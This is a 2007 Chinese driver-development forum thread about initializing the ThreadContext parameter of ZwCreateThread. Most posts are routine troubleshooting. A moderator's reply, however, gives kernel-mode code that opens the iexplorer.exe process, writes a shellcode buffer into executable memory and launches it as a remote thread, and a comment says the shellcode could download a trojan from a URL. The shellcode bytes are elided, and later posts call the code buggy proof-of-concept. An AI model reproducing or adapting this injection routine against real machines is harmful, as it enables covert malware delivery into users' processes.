ks12345
驱动小牛
驱动小牛
  • 注册日期2006-09-21
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望223点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
阅读:5747回复:8

ZwCreateThread 的参数 ThreadContext 怎么初始化?

楼主#
更多 发布于:2007-01-08 10:25
  NTSTATUS NTAPI ZwCreateThread(
OUT PHANDLE         ThreadHandle,
IN    ACCESS_MASK               DesiredAccess,
IN    POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,
IN    HANDLE                         ProcessHandle,
OUT PCLIENT_ID                   ClientId,
IN    PCONTEXT                     ThreadContext,
IN    PINITIAL_TEB                 InitialTeb,
IN    BOOLEAN                       CreateSuspended
);

PVOID NTAPI RtlInitializeContext(
IN HANDLE            ProcessHandle,
OUT PCONTEXT     ThreadContext,
IN PVOID              ThreadStartParam OPTIONAL,
IN PTHREAD_START_ROUTINE ThreadStartAddress,
IN PINITIAL_TEB   InitialTeb
);
------------------------------------------------------------------------------
ZwCreateThread 的参数 ThreadContext 不知道应该怎么初始化?
1,我调用 RtlInitializeContext 初始化返回 0(NULL),而且跟踪发现里面的值也与 HOOK 的正常调用很大不同,貌似初始化失败。
2,然后我在网上找到一段代码,用以初始化:
           //Initialize new thread context
    //similar to it's initialization by system
    ThreadContext.SegGs = 0;
    ThreadContext.SegFs = 0x38;
    ThreadContext.SegEs = 0x20;
    ThreadContext.SegDs = 0x20;
    ThreadContext.SegSs = 0x20;
    ThreadContext.SegCs = 0x18;
    ThreadContext.EFlags = 0x3000;
    ThreadContext.Esp = ULONG(InitialTeb.StackCommit) - 4;
    ThreadContext.Eip = ULONG(_ThreadProc);      // 函数入口地址
其中 ThreadContext 的 Eip 字段为函数入口地址,但是 HOOK 的正常调用该字段值却是一个固定值,并非函数入口地址,困惑。

以上两种初始化方法,或者结合两种方法的结果,都是失败: ZwCreateThread 返回 0xc0000005 内存非法访问!?
请大家指点指点,感激不尽!!
Thinking
ks12345
驱动小牛
驱动小牛
  • 注册日期2006-09-21
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望223点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2007-01-08 10:32
由于涉及到非法访问内存,我把初始化栈的代码也贴上来:
//
// initialize the INITIAL_TEB structure
//
BOOL
InitUserStack(
    PINITIAL_TEB    pInitialTeb
    )
{
    ULONG StackPageSize = 0x1000;
    ULONG MaximumStackSize = 0x100000;

    pInitialTeb->StackBase = NULL;
    pInitialTeb->StackLimit = NULL;
    
    //
    // Reserve address space for the stack
    //
    pInitialTeb->StackReserved = VirtualAlloc(NULL, MaximumStackSize, MEM_RESERVE, PAGE_READWRITE);
    if (pInitialTeb->StackReserved == NULL)
    {
        return FALSE;
    }
    pInitialTeb->StackCommit = PCHAR(pInitialTeb->StackReserved) + MaximumStackSize;
    pInitialTeb->StackCommitMax = PCHAR(pInitialTeb->StackCommit) - StackPageSize;

    //
    // commit
    //
    LPVOID pStack = PCHAR(pInitialTeb->StackCommit) - 2*StackPageSize;
    if (!VirtualAlloc(pStack, 2*StackPageSize, MEM_COMMIT, PAGE_READWRITE))
    {
        VirtualFree(pInitialTeb->StackReserved, 0, MEM_RELEASE);
        return FALSE;
    }
    //
    // protect
    //
    DWORD dwOldProtect;
    if (!VirtualProtect(pStack, StackPageSize,
                PAGE_READWRITE | PAGE_GUARD, &dwOldProtect))
    {
        VirtualFree(pInitialTeb->StackReserved, 0, MEM_RELEASE);
        return FALSE;
    }
    
    return TRUE;
}

跟踪查看栈的地址值还是与正常调用一致的,貌似没有错误。
Thinking
ks12345
驱动小牛
驱动小牛
  • 注册日期2006-09-21
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望223点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2007-01-09 09:22
以上初始化参数在应用层调用 ZwCreateThread 可以成功,线程结束时有非法访问内存。在核心层以这些初始化参数调用 ZwCreateThread 将会失败返回 0xC0000005 。阿门,貌似应用层内存地址到核心层的转化问题,看来我还是太菜了点,不知道怎样才能搞定。。。
Thinking
ks12345
驱动小牛
驱动小牛
  • 注册日期2006-09-21
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望223点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
地板#
发布于:2007-01-26 15:26
500年过去了,不知道高手们是不屑回答如此简单的问题,还是都忙着搞服务器数据恢复去了。。。
Thinking
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
地下室#
发布于:2007-01-26 18:23
我貌似解答过一次~~~
哈哈~
unsigned char shellcode[1024*4]={...}//一个ring3的shellcode,可以想象一下~~比如从url下载木马的...
HANDLE CreateUserThread(
            IN HANDLE hProcess,
            IN PVOID EntryPoint,
            IN ULONG RegEax,
            IN ULONG RegEbx
            )
{
    USER_STACK stack = {0};
    CONTEXT context;
    NTSTATUS status;
    ULONG AllocSize = PAGE_SIZE * 2;
    PVOID p;
    ULONG OldProtect;
    HANDLE hThread = (HANDLE)0;
    PCLIENT_ID cid;

    status = ZwAllocateVirtualMemory(hProcess,
                                     &stack.ExpandableStackBottom,
                                     0,
                                     &AllocSize,
                                     MEM_RESERVE,
                                     PAGE_READWRITE);

    if (NT_SUCCESS(status))
    {
        stack.ExpandableStackBase = (PUCHAR)stack.ExpandableStackBottom + PAGE_SIZE;
        stack.ExpandableStackLimit = stack.ExpandableStackBase;

        AllocSize = PAGE_SIZE;
        p = (PCHAR)stack.ExpandableStackBase - AllocSize;

        status = ZwAllocateVirtualMemory(hProcess,
                                         &p,
                                         0,
                                         &AllocSize,
                                         MEM_COMMIT,
                                         PAGE_READWRITE);

        if (NT_SUCCESS(status))
        {
            AllocSize = PAGE_SIZE;

            status = ZwProtectVirtualMemory(hProcess,
                                            &p,
                                            &AllocSize,
                                            PAGE_READWRITE | PAGE_GUARD,
                                            &OldProtect);

            if (NT_SUCCESS(status))
            {
                cid = ExAllocatePool(PagedPool, sizeof(CLIENT_ID));

                context.ContextFlags = CONTEXT_FULL;

                context.SegCs = 0x18;
                context.SegFs = 0x38;
                context.SegEs = 0x20;
                context.SegDs = 0x20;
                context.SegSs = 0x20;
                context.SegGs = 0x00;
                context.EFlags = 0x3000;

                context.Esp = (ULONG)stack.ExpandableStackBase - 4;
                context.Eip = (ULONG)EntryPoint;
                context.Eax = RegEax;
                context.Ebx = RegEbx;

                status = ZwCreateThread(&hThread,
                                        THREAD_ALL_ACCESS,
                                        NULL,
                                        hProcess,
                                        cid,
                                        &context,
                                        &stack,
                                        FALSE);

                ExFreePool(cid);

                
                if (NT_SUCCESS(status)) return hThread;
            }

            AllocSize = 0;

            ZwFreeVirtualMemory(hProcess,
                                &p,
                                &AllocSize,
                                MEM_RELEASE);
        }

        AllocSize = PAGE_SIZE * 2;

        ZwFreeVirtualMemory(hProcess,
                            &stack.ExpandableStackBottom,
                            &AllocSize,
                            MEM_DECOMMIT);
        return NULL;
}
HANDLE WriteShellToProcess()
{
  HANDLE hProcess;
  DWORD pid;
  CLIENT_ID ClientId;
  NTSTATUS stat;
  OBJECT_ATTRIBUTES         obj;
  PVOID EntryPoint=0;
  ULONG AllocSize = PAGE_SIZE * 10;
  getprocessptr(0,L"iexplorer.exe",&pid);
  ClientId.UniqueProcess = (HANDLE)pid;
  ClientId.UniqueThread = 0;
  InitializeObjectAttributes(&obj,
                               NULL,
                               OBJ_CASE_INSENSITIVE,
                               NULL,
                               NULL);
  stat = ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&obj,&ClientId);
  if(NT_SUCCESS(stat))
  {
        stat = ZwAllocateVirtualMemory(hProcess,
                                     &EntryPoint,
                                     0,
                                     &AllocSize,
                                     MEM_COMMIT,
                                     PAGE_EXECUTE_READWRITE);
        if(NT_SUCCESS(stat))
        {
            stat = ZwWriteVirtualMemory(hProcess, EntryPoint, shellcode, sizeof(shellcode), 0);
            if(NT_SUCCESS(stat))
            {
                return CreateUserThread(hProcess,EntryPoint,0,0);
            }
        }
  }
  return NULL;

}
没有战争就没有进步 X3工作组 为您提供最好的军火
gaga_fucker
驱动牛犊
驱动牛犊
  • 注册日期2006-11-10
  • 最后登录2007-04-16
  • 粉丝0
  • 关注0
  • 积分70分
  • 威望8点
  • 贡献值0点
  • 好评度7点
  • 原创分0分
  • 专家分0分
5楼#
发布于:2007-02-07 02:58
上面的代码测试了一下好像有问题2K下CPU 100%,新建的线程一直貌似在做切换,2K3下进程就直接退出了
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
6楼#
发布于:2007-02-10 23:12
引用第5楼gaga_fucker2007-02-07 02:58发表的“”:
上面的代码测试了一下好像有问题2K下CPU 100%,新建的线程一直貌似在做切换,2K3下进程就直接退出了

确实有问题~~纯poc级别~
没有战争就没有进步 X3工作组 为您提供最好的军火
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
7楼#
发布于:2007-02-10 23:14
另外我的那代码要配合适当的shellcode,而且regEbx和regEax等东西是有意义的说~
没有战争就没有进步 X3工作组 为您提供最好的军火
ks12345
驱动小牛
驱动小牛
  • 注册日期2006-09-21
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望223点
  • 贡献值0点
  • 好评度189点
  • 原创分0分
  • 专家分0分
8楼#
发布于:2007-02-27 17:38
谢谢 killvxk  的回复,这个问题已经暂时搁下了
Thinking
游客

返回顶部